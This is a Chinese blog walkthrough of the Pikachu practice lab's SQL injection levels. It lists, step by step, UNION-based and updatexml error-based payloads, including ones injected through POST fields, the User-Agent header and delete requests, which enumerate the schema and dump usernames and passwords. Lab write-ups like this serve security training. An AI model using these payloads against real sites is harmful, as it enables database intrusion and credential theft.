Pikachu 靶场
数字型注入
这里使用的是 POST 型提交的所以要用 抓包工具做
(1)判断回显位置
语法:id=1 union select 1,2 -- -
页面已经显示出有几列了所以没测试
(2)判断库名
语法:id=1 union select 1,database() -- -
(3)判断表名
语法:id=1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='pikachu' -- -
(4)判断字段名
语法:id=1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='pikachu' and table_name='users'-- -
(5)获取数据
语法:id=1 union select group_concat(password),group_concat(username) from pikachu.users -- -
字符型注入
(1)判断闭合符
输入 1'报错加上闭合符后不报错由此判断闭合符为单引号
(2)判断列数
语法:1' order by 2 -- -
这里输入1' order by 2 -- - 没有报错,输入1' order by 3 -- - 则报错由此判断列数 2
(3)判断回显位置
语法:1' union select 1,2 -- -
(4)判断数据库名
语法:1' union select database(),2 -- -
(5)判断表名
语法:1' union select group_concat(table_name),2 from information_schema.tables where table_schema='pikachu' -- -
(6)判断字段名
语法: 1'union select group_concat(column_name),2 from information_schema.columns where table_schema='pikachu' and table_name='users'-- -
(7)获取数据
语法: 1' union select group_concat(username),group_concat(password) from pikachu.users -- -
搜索型注入
搜索型即模糊匹配在 MySQL 中的模糊匹配符号是%所以注入时要加上%其它同理
(1)判断闭合符
这里使用 1' 和 1'-- -都报错所以可以判断出闭合符是 1'
(2)判断列数
语法:1%' order by 3 -- -
这里输入1' order by 3 -- - 没有报错,输入1' order by 4 -- - 则报错由此判断列数 3
(4)判断数据库名
语法 :1%' union select 1,database(),3 -- -
(5)判断表名
语法:1%' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='pikachu' -- -
(6)判断字段名
语法:1%' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='pikachu' and table_name='users' -- -
(7)获取数据
语法:1%' union select 1,group_concat(username),group_concat(password) from pikachu.users-- -
XX 型注入
字符型注入的一种只是闭合符不同
(1)判断闭合符
这里使用 1' 和 1'-- -都报错所以可以判断出闭合符是 1')
(2)判断列数
语法:1') order by 2 -- -
这里输入1') order by 2 -- - 没有报错,输入1') order by 3 -- - 则报错由此判断列数 2
(3)判断回显位置
语法:1') union select 1,2 -- -
(4)判断数据库名
语法:1') union select database(),2 -- -
(5)判断表名
语法: 1') union select group_concat(table_name),2 from information_schema.tables where table_schema='pikachu' -- -
(6)判断字段名
语法: 1') union select group_concat(column_name),2 from information_schema.columns where table_schema='pikachu' and table_name='users'-- -
(7)获取数据
语法: 1') union select group_concat(username),group_concat(password) from pikachu.users -- -
insert/update 注入
insert:在为数据库添加数据时注入(例如注册用户)也可使用报错注入方式
(1)寻找注入点以及闭合符
POST 提交方式注入的一般注入点都在请求数据当中,所以直接在请求数据加上闭合符可以看到报错了,这里基本确认闭合符是单引号
(2)判断数据库名
语法:username=admin'and updatexml(1,concat(2,(select database())),3) or '
(3)判断表名
语法:username=111' and updatexml(1,concat(2,(select group_concat(table_name) from information_schema.tables where table_schema='pikachu')),3) or '
用户名格式应该是有限制只能用数字注入
(4)判断字段名
语法:username=111' and updatexml(1,concat(2,(select group_concat(column_name) from information_schema.columns where table_schema='pikachu' and table_name='users')),3) or '
(5)获取数据
语法:username=111' and updatexml(1,concat(2,(select group_concat(username) from pikachu.users)),3) or '
update 注入:就是在修改数据时注入(比如修改用户名之类的)注入方法同理
http head 注入
依旧是先登录在登陆时抓包然后放到对比器和重发器中进行对比留下有用的包
(1)判断闭合符
在 UA 数据结尾处添加闭合符
已知闭合符为单引号
(2)获取库名
语法:User-Agent: 1' and updatexml(1,concat(2,(select database())),3) or '
这里使用了User-Agent: 1' and updatexml(1,concat(2,(select database())),3) -- -应该是后面有重要的查询没有显示所以用了 or '
前面的闭合符是闭合条件查询,后面的闭合符为了确保后面有效查询被闭合避免错误或者也可以写 or ' 1=1 确保后面是个有效条件
(3)获取表名
语法:User-Agent: 1' and updatexml(1,concat(2,(select group_concat(table_name) from information_schema.tables where table_schema='pikachu')),3) or '1=1
(4)获取字段名
语法:User-Agent: 1' and updatexml(1,concat(2,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='pikachu')),3) or ' 1=1
(5)获取数据
语法:User-Agent: 1' and updatexml(1,concat(2,(select group_concat(username) from pikachu.users)),3) or ' 1=1
delete 注入
一般用于用户删除数据,注销用户时使用
(1)判断数据库名
语法:id=57+and+updatexml(1,concat(2,(select+database())),3)
这里已经显示出来是数字型了所以不用判断闭合符
注:在 URL 地址栏中输入特殊字符需要转换为 URL 编码格式
(2)判断表名
语法:id=57+and+updatexml(1,concat(2,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema%3d'pikachu')),3)
(3)判断字段名
语法: id=57+and+updatexml(1,concat(2,(select+group_concat(column_name)+from+information_schema.columns+where+table_schema%3d'pikachu'+and+table_name='users')),3) HTTP/1.1
(4)获取数据
语法:id=57+and+updatexml(1,concat(2,(select+group_concat(username)+from+pikachu.users)),3)
标签:group,--,Pikachu,concat,SQL,table,靶场,select,schema From: https://blog.csdn.net/Ee_CN/article/details/142385447